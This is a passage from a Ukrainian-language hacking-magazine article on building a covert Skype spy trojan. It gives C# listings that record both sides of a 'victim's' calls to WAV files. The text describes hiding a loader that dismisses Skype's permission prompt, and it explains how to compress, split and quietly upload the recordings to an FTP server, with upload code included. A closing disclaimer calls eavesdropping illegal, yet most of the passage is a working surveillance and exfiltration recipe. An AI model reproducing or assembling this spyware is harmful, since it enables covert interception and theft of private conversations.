на яке буде виведено потік із мікрофона. Типи пристроїв зберігаються в
переліку TCallIoDeviceType. Ми хочемо захоплювати звук у файл, тому ставимо
callIoDeviceTypeFile. Другий параметр залежить від першого. У нашому випадку в ньому
передається шлях до файлу, який зберігатимемо результат записи.

Зверніть увагу, що викликом методу set_captureMicDevice ми збережемо лише
голос нашої жертви, а ті, з ким вона каже – залишаться за кадром. Записувати
співрозмовників ми будемо за допомогою методу set_OutputDevice:

call.set_OutputDevice(TCallIoDeviceType.callIoDeviceTypeFile, @"Шлях
куди зберігати "+ call.Id.ToString() + ".wav");

Параметри у нього такі самі, як і у попереднього, тому двічі
розповідати не буду:).

Можна сказати, що все готове. Компіль та запускай проект. При стартингу не
забудь схвалити в скайпі інжект, інакше нічого захопити не вдасться.

Спробуємо протестувати наш додаток у реальних умовах. Попроси свого
приятеля, щоб він подзвонив тобі скайпом і трохи поговорив з тобою.

Якщо при переписуванні лістингу ти був дуже уважний, то за переданими в
методи captureMicDevice та set_OutputDevice шляхів для збереження файлів, будуть
лежати свіжоспечені WAV'ки. Прослухай їх у своєму плеєрі та переконайся, що все
працює як треба.

Користуватися SDK дуже просто (особливо якщо пишеш під.NET) і його
можливості будуть однозначно потрібні при розробці професійного
skype-logger'a.

Я не розповідатиму тобі, як виконувати перехоплення текстових повідомлень і
інший корисної інформації. Все це робиться шляхом виклику парочки методів, які
детально документовані. Доки (саме собою англійською) завжди доступні на
офіційному порталі:

https://developer.skype.com/Docs/Skype4COMLib . Якщо ти відчуваєш проблеми
з інглишем, то не переймайся. Просто подивися код шаблону програми. Думаю,
ти у всьому розберешся. У крайньому випадку – пиши мені.

Прикрі обмеження

У офіційного SDK є один, але дуже великий, мінус. Під час запуску твого
програми скайп буде постійно бити на сполох. Сам розумієш, якщо жертва побачить
дивне віконце з питанням: "а чи дозволити цьому додатку доступ?", то з
99,9% ймовірністю вона натисне на кнопку "Ні" і ти залишишся в прольоті. Щоб
цього не трапилося, я рекомендую тобі робити дві проги – одна буде
орієнтована захоплення звуку і написана на зручному C#, а друга є свого
роду завантажувачем. Її основною метою буде непомітне перебування в системі,
приховування/натискання кнопок непотрібних вікон (це для вікна схвалення запуску). Крім
того, через цю прогу-завантажувач можна буде реалізувати всі функції
віддаленого керування і т.д. Загалом ідею ти зрозумів.

Як боротися з "непотрібними" вікнами?

І в другому і третьому методі захоплення скайп-розмов ми напоролися на проблему
- Взаємодія з вікнами чужого додатка. Я казав, що про роботу з чужими
вікнами в нашому журналі ми розповідали багато разів (рекомендую статтю про викрадення
гаманців веб мані, опубліковану 3-4 роки тому), але якщо ти тільки влився в
нашу тусовку і не знаєш, що та як, не полінуйся, зайди на bing.com і пошукай там
щодо функцій FindWindow, GetWindowText, PostMessage. Пошуковик дрібном'яких
одразу ж тебе виведе на потрібний розділ MSDN'у і ти швиденько зможеш
познайомитись із цими корисними функціями.

Виведення файлів

Рано чи пізно ти зіткнешся з ще однією великою проблемою – збиранням урожаю.
Безпомилково сейвить всю балаканину жертви, звичайно ж, добре, але який толк від
награбованого добра, якщо його не можна забрати та проаналізувати? Правильно,
ніякого.

Шпигун для скайпу – це не кейлоггер та його логи так просто поштою не
відправиш. Мало того, що файли зі звуком брутально важать, то ще й пересилати
їх протоколу smtp зовсім не айс.

Завдання виведення файлів ускладнюється в кілька разів, якщо користувач сидить не так
безліміті (так-так, такі ще зустрічаються). У цьому випадку пересилання великих
обсяг файлів не залишиться непоміченою в статистиці і це обов'язково
насторожить просунутого користувача. Особливо, коли він відчуватиме
великі гальма під час перебування у мережі.

Трохи подумавши, я дійшов наступного алгоритму:

  1. Кодування кожного файлу зі звуком у форматі mp3. Спочатку всі розмови
    нашої жертви ми писали у WAV'и, які дуже багато важать. Наприклад, середній
    Розмір тривалої розмови (близько години) може досягати 50-80 метрів (в
    залежно від налаштувань). Пересилати такий файл у чистому вигляді, м'яко кажучи,
    неможливо. Перекодування у формат mp3 частково вирішить проблему розміру. Якщо
    виставити максимальний ступінь стиснення та мінімальний бітрейт, то розмір вдасться
    скоротити у 3-4 рази. Це вже краще, але не ідеально. Висновок тих самих 5 метрів
    може здатися скрутним.
  2. Розбиває файл на більш дрібні частини. У попередньому абзаці я сказав, що
    навіть така операція як кодування файлу в mp3 не врятує тебе від проблем з
    пересиланням. Найкраще розбити стислий файл на дрібніші частини та відправляти
    вже їх. Наприклад, подрібнити mp3 на частинки по 300-500 Кб. Такі крихітки
    буде набагато простіше та швидше вивести з поля битви.

Щодо підготовки файлів до відправки я начебто все сказав. Швиденько пробіжимося
способу відправлення. Декількома абзацами вище, я заявив, що пересилати такі речі
по smtp не дуже правильно, та й просто проблематично. Куди краще заюзати
перевірений роками старий добрий ftp! Вбудувати у свій.NET-додаток
Простий FTP-клієнт - що може бути простіше? Поглянь на врізання і переконайся сам.

Happy end

Немає межі можливостей людини і немає межі досконалості. Нерозв'язних
завдань немає і всі труднощі можна подолати. Сьогодні я розповів тобі про
будова кістяка voice-logger'a, і подальший вибір залежить тільки від тебе. Або
ти зведеш всю отриману інфу в одну купу і створиш невловимого шпигуна для
скайпа, або розробиш професійний інструмент для легального бекапу
переговорів:). Вибір за тобою, мені лише залишається попрощатися та побажати тобі
Успіхів!

P.S. Повних вихідників мого трояна не проси. Все одно не дам, я жадібний:). А
якщо серйозно, я не підтримую такі речі і не хочу, щоб багато хто тупо компили
готовий проект і бралися до бойових дій. Прослуховування розмов – це
вторгнення в особисте життя, а це, крім незаконності, ще й підло! До зустрічі!

Warning

Підслуховування чужих розмов – глибоко незаконна річ. Використовуй
отриману інформацію тільки для створення бекапера своїх розмов!

Врізання 1. Записуємо звук

//Підготовляємося до запису
waveIn = new WaveIn();
waveIn.DeviceNumber = 0;
waveIn.DataAvailable += waveIn_DataAvailable;
int sampleRate = 8000;
int channels = 1;

waveIn.WaveFormat = новий WaveFormat(sampleRate, channels);
waveIn.StartRecording();

void waveIn_DataAvailable(object sender, WaveInEventArgs e)
{
if (recordingState == RecordingState.Recording)
writer.WriteData(e.Buffer, 0, e.BytesRecorded);

Врізання 2. Запис вхідних дзвінків у файл

try
{
// Запис вхідного дзвінка
if (status == TCallStatus.clsInProgress)
{
//Захоплюємо звук і зберігаємо його в
//файл (потік користувача)
call.set_CaptureMicDevice(

@ "C:\temp\sound_user" + call.Id.ToString() +
".wav");

// Захоплюємо звук та зберігаємо
//його файл (всіх інших співрозмовників
call.set_OutputDevice(
TCallIoDeviceType.callIoDeviceTypeFile,
@ "C:\temp\sound_people" + call.Id.ToString() +
".wav");

}
}
catch (Exception e)
{
//Виведемо помилки
AddTextToTextBox1(DateTime.Now.ToLocalTime() + ": " +
" Our Code - Неможливо виконати захоплення аудіо: " + call.Id.ToString() +
" - Джерело помилки: " + e.Source + " - Текст помилки: " + e.Message +
"\n");

3. FTP клієнт засобами класу на основі класу FTP Dot .NET

try
{
FtpConnection myFtpConnection =
новий FtpConnection();
myFtpConnection.MessageReceived +=
новий FtpConnectionEventHandler(connection_MessageReceived);

myFtpConnection.Host =
"ftp://myftpserver";
myFtpConnection.UserName =
"username";
myFtpConnection.Password =
"password";
myFtpConnection.RemoteDirectory =
"/temp/testforxakep";
myFtpConnection.Upload(@"C:\temp\sound.part1.mp3",
"sound.part1.mp3");
}

catch (WebException ex)
{

}
catch (Exception ex)
{
Console.WriteLine(ex.ToString());
}

void connection_MessageReceived(object sender,
FtpConnectionEventArgs e)
{
Console.WriteLine(e.Message);